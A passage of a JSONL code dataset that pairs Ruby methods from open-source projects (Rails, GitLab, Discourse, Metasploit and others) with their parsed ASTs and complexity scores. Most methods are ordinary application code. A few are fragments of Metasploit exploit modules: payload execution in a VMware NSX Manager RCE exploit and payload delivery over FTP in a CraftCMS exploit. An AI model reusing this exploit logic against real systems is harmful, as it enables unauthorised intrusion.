OAD\"]}]}]},{\"type\":\"send\",\"children\":[null,\"presigned_url\",{\"type\":\"lvar\",\"children\":[\"obj\"]},{\"type\":\"sym\",\"children\":[\"put\"]},{\"type\":\"const\",\"children\":[null,\"UPLOAD_URL_EXPIRES_AFTER_SECONDS\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Aws\"]},\"Errors\"]},\"ServiceError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"warn\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Failed to generate upload URL for S3: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]},\"presence\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"class\"]},\"name\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StorageError\"]},\"new\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]},\"presence\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"class\"]},\"name\"]}]}]}]}]}]},null]}]}","id":"8c460959-be98-4b9c-aefa-25adbbc9eb8c"}
{"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/application/configuration.rb","start_line":630,"raw_source":"def method_missing(method, *args)\n          if method.end_with?(\"=\")\n            @configurations[:\"#{method[0..-2]}\"] = args.first\n          elsif args.empty?\n            @configurations.fetch(method) {\n              @configurations[method] = ActiveSupport::OrderedOptions.new\n            }\n          else\n            raise ArgumentError, \"wrong number of arguments (given #{args.length}, expected 0) when reading configuration `#{method}`\"\n          end\n        end","complexity_score":15.1,"ast_json":"{\"type\":\"def\",\"children\":[\"method_missing\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"method\"]},{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"method\"]},\"end_with?\",{\"type\":\"str\",\"children\":[\"=\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@configurations\"]},\"[]=\",{\"type\":\"dsym\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"method\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[-2]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"first\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"empty?\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@configurations\"]},\"fetch\",{\"type\":\"lvar\",\"children\":[\"method\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@configurations\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"method\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"OrderedOptions\"]},\"new\"]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"wrong number of arguments (given \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"length\"]}]},{\"type\":\"str\",\"children\":[\", expected 0) when reading configuration `\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"method\"]}]},{\"type\":\"str\",\"children\":[\"`\"]}]}]}]}]}]}","id":"7c4cc969-8134-43db-8803-78e0285e948e"}
{"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/generators/app_base.rb","start_line":447,"raw_source":"def self.floats(name, comment = nil)\n          new(name, nil, comment)\n        end","complexity_score":2.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"floats\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"optarg\",\"children\":[\"comment\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"new\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"comment\"]}]}]}","id":"b93faef4-3a09-4d15-902d-92fe034535cb"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/requests/projects/attestations_controller_spec.rb","start_line":15,"raw_source":"def download_attestation\n      params = { namespace_id: project.namespace, project_id: project, id: attestation.iid }\n\n      get download_namespace_project_attestation_path(**params)\n    end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"download_attestation\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"params\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"namespace_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"namespace\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"attestation\"]},\"iid\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"send\",\"children\":[null,\"download_namespace_project_attestation_path\",{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]}]}]}]}]}]}]}","id":"16a696c5-5810-480d-842b-4c3c92140c23"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/relation.rb","start_line":1498,"raw_source":"def references_eager_loaded_tables?\n        joined_tables = build_joins([]).flat_map do |join|\n          if join.is_a?(Arel::Nodes::StringJoin)\n            tables_in_string(join.left)\n          else\n            join.left.name\n          end\n        end\n\n        joined_tables << table.name\n\n        # always convert table names to downcase as in Oracle quoted table names are in uppercase\n        joined_tables.map!(&:downcase)\n\n        !(references_values.map(&:to_s) - joined_tables).empty?\n      end","complexity_score":26.2,"ast_json":"{\"type\":\"def\",\"children\":[\"references_eager_loaded_tables?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"joined_tables\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"build_joins\",{\"type\":\"array\",\"children\":[]}]},\"flat_map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"join\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"join\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Arel\"]},\"Nodes\"]},\"StringJoin\"]}]},{\"type\":\"send\",\"children\":[null,\"tables_in_string\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"join\"]},\"left\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"join\"]},\"left\"]},\"name\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"joined_tables\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"table\"]},\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"joined_tables\"]},\"map!\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"downcase\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"references_values\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_s\"]}]}]},\"-\",{\"type\":\"lvar\",\"children\":[\"joined_tables\"]}]}]},\"empty?\"]},\"!\"]}]}]}","id":"59059162-8a61-47b2-98b1-10e4f370db59"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/vmware_nsxmgr_xstream_rce_cve_2021_39144.rb","start_line":144,"raw_source":"def exploit\n    case target['Type']\n    when :in_memory\n      print_status(\"Executing #{target.name} with #{payload.encoded}\")\n      execute_command(payload.encoded)\n    when :linux_dropper\n      print_status(\"Executing #{target.name}\")\n      execute_cmdstager\n    end\n  end","complexity_score":22.2,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Type\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"in_memory\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Executing \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\" with \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"execute_command\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"linux_dropper\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Executing \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"name\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"execute_cmdstager\"]}]}]},null]}]}","id":"707e2879-6bdc-4a23-a600-2e6448ff4ce5"}
{"repo_name":"hooks","file_path":"./repos/hooks/spec/unit/lib/hooks/plugins/auth/base_spec.rb","start_line":306,"raw_source":"def increment(metric_name, tags = {})\n          @collector << { type: :stats, action: :increment, metric: metric_name, tags: }\n        end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"increment\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"metric_name\"]},{\"type\":\"optarg\",\"children\":[\"tags\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@collector\"]},\"<<\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"stats\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"sym\",\"children\":[\"increment\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"metric\"]},{\"type\":\"lvar\",\"children\":[\"metric_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tags\"]},{\"type\":\"lvar\",\"children\":[\"tags\"]}]}]}]}]}","id":"168e4907-0933-422e-b007-6ba1a85cd62d"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/controllers/sidebar_sections_controller.rb","start_line":80,"raw_source":"def reset\n    sidebar_section = SidebarSection.find_by(id: params[:id])\n    raise Discourse::InvalidParameters if !sidebar_section\n    @guardian.ensure_can_edit!(sidebar_section)\n\n    case sidebar_section.section_type\n    when \"community\"\n      sidebar_section.reset_community!\n    end\n\n    render_serialized(sidebar_section, SidebarSectionSerializer)\n  end","complexity_score":14.0,"ast_json":"{\"type\":\"def\",\"children\":[\"reset\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"sidebar_section\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SidebarSection\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sidebar_section\"]},\"!\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"InvalidParameters\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@guardian\"]},\"ensure_can_edit!\",{\"type\":\"lvar\",\"children\":[\"sidebar_section\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sidebar_section\"]},\"section_type\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"community\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sidebar_section\"]},\"reset_community!\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"render_serialized\",{\"type\":\"lvar\",\"children\":[\"sidebar_section\"]},{\"type\":\"const\",\"children\":[null,\"SidebarSectionSerializer\"]}]}]}]}","id":"4c1745fe-6aac-41db-bd9a-210749d32d20"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/bitbucket/representation/pull_request_comment.rb","start_line":40,"raw_source":"def inline\n        raw.fetch('inline', {})\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"inline\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"raw\"]},\"fetch\",{\"type\":\"str\",\"children\":[\"inline\"]},{\"type\":\"hash\",\"children\":[]}]}]}","id":"903d97e9-66c1-46dd-b693-aded6b92ca7a"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/models/notification.rb","start_line":166,"raw_source":"def user_subscribed_to_notification?(delivery_type)\n    notification_setting = user.notification_settings.find_by(account_id: account.id)\n    return false if notification_setting.blank?\n\n    # Check if the user has subscribed to the specified type of notification\n    notification_setting.public_send(\"#{delivery_type}_#{notification_type}?\")\n  end","complexity_score":11.4,"ast_json":"{\"type\":\"def\",\"children\":[\"user_subscribed_to_notification?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"delivery_type\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"notification_setting\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"notification_settings\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"account_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"account\"]},\"id\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"notification_setting\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"notification_setting\"]},\"public_send\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"delivery_type\"]}]},{\"type\":\"str\",\"children\":[\"_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"notification_type\"]}]},{\"type\":\"str\",\"children\":[\"?\"]}]}]}]}]}","id":"9f575ce3-3aa0-4e10-8c7a-aa14eaa9d532"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/groups_helper.rb","start_line":95,"raw_source":"def link_to_group(group)\n    link_to(group.name, group_path(group))\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"link_to_group\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"group\"]}]},{\"type\":\"send\",\"children\":[null,\"link_to\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"name\"]},{\"type\":\"send\",\"children\":[null,\"group_path\",{\"type\":\"lvar\",\"children\":[\"group\"]}]}]}]}","id":"c9a15ca8-a9b8-4f08-b0b1-80ae4ba3f096"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/craftcms_ftp_template.rb","start_line":146,"raw_source":"def on_client_command_retr(cli, arg)\n    vprint_status('on_client_command_retr')\n    if vulnerable_file_list.include?(arg)\n      conn = establish_data_connection(cli)\n      unless conn\n        send_ftp_response(cli, 425, \"Can't open data connection.\")\n        return\n      end\n      send_ftp_response(cli, 150, \"Opening data connection for #{arg}\")\n      conn.put(get_payload)\n      conn.close\n      send_ftp_response(cli, 226, 'Transfer complete.')\n    else\n      send_ftp_response(cli, 550, 'File not available.')\n    end\n  rescue IOError => e\n    vprint_error(\"Data transfer failed: #{e.message}\")\n    send_ftp_response(cli, 425, 'Data transfer failed.')\n  end","complexity_score":26.85,"ast_json":"{\"type\":\"def\",\"children\":[\"on_client_command_retr\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cli\"]},{\"type\":\"arg\",\"children\":[\"arg\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"str\",\"children\":[\"on_client_command_retr\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vulnerable_file_list\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"arg\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"conn\",{\"type\":\"send\",\"children\":[null,\"establish_data_connection\",{\"type\":\"lvar\",\"children\":[\"cli\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"send_ftp_response\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"int\",\"children\":[425]},{\"type\":\"str\",\"children\":[\"Can't open data connection.\"]}]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"send_ftp_response\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"int\",\"children\":[150]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Opening data connection for \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arg\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn\"]},\"put\",{\"type\":\"send\",\"children\":[null,\"get_payload\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn\"]},\"close\"]},{\"type\":\"send\",\"children\":[null,\"send_ftp_response\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"int\",\"children\":[226]},{\"type\":\"str\",\"children\":[\"Transfer complete.\"]}]}]},{\"type\":\"send\",\"children\":[null,\"send_ftp_response\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"int\",\"children\":[550]},{\"type\":\"str\",\"children\":[\"File not available.\"]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IOError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Data transfer failed: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"send_ftp_response\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"int\",\"children\":[425]},{\"type\":\"str\",\"children\":[\"Data transfer failed.\"]}]}]}]},null]}]}","id":"832a5164-e779-484b-b0e2-659e445dd74a"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/validations/uniqueness_validation_test.rb","start_line":790,"raw_source":"def test_uniqueness_on_custom_relation_primary_key\n    Keyboard.create!(name: \"Keyboard #1\")\n    LessonWithUniqKeyboard.create!(name: \"Keyboard #1\")\n\n    another = LessonWithUniqKeyboard.new(name: \"Keyboard #1\")\n    assert_not_predicate another, :valid?\n    assert_equal [\"has already been taken\"], another.errors[:keyboard]\n  end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_uniqueness_on_custom_relation_primary_key\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Keyboard\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Keyboard #1\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LessonWithUniqKeyboard\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Keyboard #1\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"another\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LessonWithUniqKeyboard\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Keyboard #1\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_predicate\",{\"type\":\"lvar\",\"children\":[\"another\"]},{\"type\":\"sym\",\"children\":[\"valid?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"has already been taken\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"another\"]},\"errors\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"keyboard\"]}]}]}]}]}","id":"b45bc61f-7151-4b1b-9133-95272eeb0acf"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/group.rb","start_line":1077,"raw_source":"def imap_config\n    {\n      server: self.imap_server,\n      port: self.imap_port,\n      ssl: self.imap_ssl,\n      username: self.email_username,\n      password: self.email_password,\n    }\n  end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"imap_config\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"server\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"imap_server\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"imap_port\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ssl\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"imap_ssl\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"email_username\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"password\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"email_password\"]}]}]}]}","id":"437b9669-5217-472c-88a8-f81c5612d715"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/server/jsse_skiptls_mitm_proxy.rb","start_line":94,"raw_source":"def prf_sha256(secret, label, seed)\n    hmac_hash = OpenSSL::HMAC.digest(OpenSSL::Digest.new('sha256'), secret, label + seed)\n    OpenSSL::HMAC.digest(OpenSSL::Digest.new('sha256'), secret, hmac_hash + label + seed)\n  end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"prf_sha256\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"secret\"]},{\"type\":\"arg\",\"children\":[\"label\"]},{\"type\":\"arg\",\"children\":[\"seed\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"hmac_hash\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenSSL\"]},\"HMAC\"]},\"digest\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenSSL\"]},\"Digest\"]},\"new\",{\"type\":\"str\",\"children\":[\"sha256\"]}]},{\"type\":\"lvar\",\"children\":[\"secret\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"label\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"seed\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenSSL\"]},\"HMAC\"]},\"digest\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenSSL\"]},\"Digest\"]},\"new\",{\"type\":\"str\",\"children\":[\"sha256\"]}]},{\"type\":\"lvar\",\"children\":[\"secret\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hmac_hash\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"label\"]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"seed\"]}]}]}]}]}","id":"a1bb29df-5bf9-4e80-a4d8-d0796889ea61"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/mixin/multiline_expression_indentation.rb","start_line":165,"raw_source":"def valid_rhs?(candidate, ancestor)\n        if ancestor.send_type?\n          valid_method_rhs_candidate?(candidate, ancestor)\n        elsif ancestor.assignment?\n          valid_rhs_candidate?(candidate, assignment_rhs(ancestor))\n        else\n          false\n        end\n      end","complexity_score":7.9,"ast_json":"{\"type\":\"def\",\"children\":[\"valid_rhs?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"candidate\"]},{\"type\":\"arg\",\"children\":[\"ancestor\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ancestor\"]},\"send_type?\"]},{\"type\":\"send\",\"children\":[null,\"valid_method_rhs_candidate?\",{\"type\":\"lvar\",\"children\":[\"candidate\"]},{\"type\":\"lvar\",\"children\":[\"ancestor\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ancestor\"]},\"assignment?\"]},{\"type\":\"send\",\"children\":[null,\"valid_rhs_candidate?\",{\"type\":\"lvar\",\"children\":[\"candidate\"]},{\"type\":\"send\",\"children\":[null,\"assignment_rhs\",{\"type\":\"lvar\",\"children\":[\"ancestor\"]}]}]},{\"type\":\"false\",\"children\":[]}]}]}]}","id":"ad192e74-a66b-49c2-afcd-7cdb5bc3d514"}
{"repo_name":"rails","file_path":"./repos/rails/activemodel/lib/active_model/attribute_mutation_tracker.rb","start_line":18,"raw_source":"def changed_values\n      attr_names.each_with_object(ActiveSupport::HashWithIndifferentAccess.new) do |attr_name, result|\n        if changed?(attr_name)\n          result.store(attr_name, original_value(attr_name), convert_value: false)\n        end\n      end\n    